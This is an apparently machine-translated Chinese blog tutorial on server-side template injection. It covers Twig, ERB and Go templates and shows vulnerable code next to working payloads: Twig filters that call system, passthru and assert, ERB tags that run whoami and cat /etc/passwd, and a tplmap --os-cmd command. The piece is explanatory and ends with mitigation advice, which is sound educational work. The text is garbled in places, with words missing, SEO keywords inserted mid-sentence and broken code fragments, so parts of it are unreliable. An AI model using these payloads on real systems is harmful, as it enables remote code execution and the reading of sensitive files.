php代码注入漏洞 PHP模板引擎和注入漏洞Twig(PHP)(图)php代码注入
2022-04-27
SSTI简介
MVC
MVC是一种框架模式,全称是View。
即模型()-视图(视图)-控制器()
在MVC指导下的开发中,采用业务逻辑、数据、界面展示分离的方式组织代码,将业务逻辑聚合成一个组件。在改进和定制界面和用户交互的同时php代码注入漏洞,更具有良好的开发和维护效率。
在MVC框架中,通过View接收用户的输入,交出,然后通过调用或者其他的方式处理,最后返回给View,这样最终展现在我们面前,那么这里的View将广泛使用一种称为模板的技术。
绕过服务器接收用户的恶意输入后,作为Web应用程序模板内容的一部分,不做任何处理,模板引擎执行用户插入的模板,可以在执行过程中破坏模板目标编译和渲染过程。语句,会导致敏感信息泄露、代码执行等。
虽然市场上关于SSTI的大部分问题都在上面,但请不要以为这种攻击方式只存在于.无论在何处使用模板,都可能出现 SSTI 问题。 SSTI 不属于任何一种语言。
常见的模板引擎和注入漏洞
树枝(PHP)
首先介绍带有Twig模板引擎的SSTI。很多情况下,SSTI发生在用户输入直接作为模板的时候,比如下面的代码
'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();
注入$_GET['name']时,会触发SSTI
下面的代码没有,因为模板引擎解析的是字符串常量中的{{name}},而不是动态拼接的$_GET["name"]
'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', array("name" => $_GET["name"]));
对于模板引擎的使用,经常会使用模板中的一些方法来达到攻击的目的,比如Twig中的 map
一个经典的例子
{{["man"]|map((arg)=>" #{arg}")}}
会这样编译
([0 => "id"], ($) 使用 ($, $) { $["arg"] = $; (" " . ($["arg"] ?? null))
p>
关于这个,源码是这样的
可以看到传入的$是作为函数执行的,所以不用传递,直接传递一个字符串,找到一个带两个参数的危险函数,可以通过命令执行
例如
{{["id"]|map("system")|join(",")}}
{{["phpinfo();"]|map("assert")|join(",")}}
{{["id", 0]|map("passthru")}}
同样的,我们也可以找到一些其他的过滤器排序,网上也有介绍,不再赘述。
当然,SSTI 也有一个基本的方法来使用它来泄漏源代码和程序环境中的上下文信息。在Twig引擎中网站模板,我们可以通过以下方法获取当前应用的一些信息
{{_self}} #指向当前应用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
ERB(红宝石)
相比Twig,ERB的代码直接提供了一些命令执行接口,比如
<%= system("whoami") %>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
这里主要是介绍一些模板标签的分类
例如这里使用ERB模板标签,Twig使用{{}}。根据一些简单的poc和tag分类,我们可以快速识别出是否存在模板漏洞以及使用的模板引擎技术
当然有些模板引擎标签是可以自定义的,上面列出的只是默认的
SSTI
关于 SSTI 的研究仍然相对较少网站制作,可能是因为它被设计为更安全。
但是通过 {{.}} 我们可以得到范围
如下例所示
package main
import (
"html/template"
"net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
//var name = ""
r.ParseForm() // Parses the request body
x := r.Form.Get("name")
var test map[string]interface{}
test = make(map[string]interface{})
var secret map[string]interface{}
secret = make(map[string]interface{})
flag := "flag{testflag}"
secret["flag"] = &flag
test["secret"] = secret
var tmpl = `
` + x + `
`
t := template.New("main") //name of the template is main
t, _ = t.Parse(tmpl) // parsing of template string
t.Execute(w, test)
}
func main() {
server := http.Server{
Addr: "0.0.0.0:5090",
}
http.HandleFunc("/", handler)
server.ListenAndServe()
}
可以获取范围对象
进一步拿到flag
即使作用域内有可利用的函数,我们也可以调用该函数来完成攻击php代码注入漏洞,比如
type User struct {
ID int
Email string
Password string
}
func (u User) System(test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
有
/
这个引擎应该出镜率最高,能写很多东西。限于篇幅,具体内容将记录在(下)中。
常用检测工具
工具地址:
符合设计风格,直接拍就行了
/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'
总结
SSTI 是 MVC 架构中常见的问题类型。除了本文介绍的几个引擎外,还有很多受影响的引擎,例如 .这个问题主要是开发者直接将用户输入作为模板交给模板引擎渲染造成的。将用户输入绑定到模板的参数可以缓解这个问题。通过SSTI,我们往往可以获取程序运行的上下文,甚至可以利用模板引擎的内置方法完成远程代码注入等高危攻击。
我整理了有关网络安全的学习资料和指导书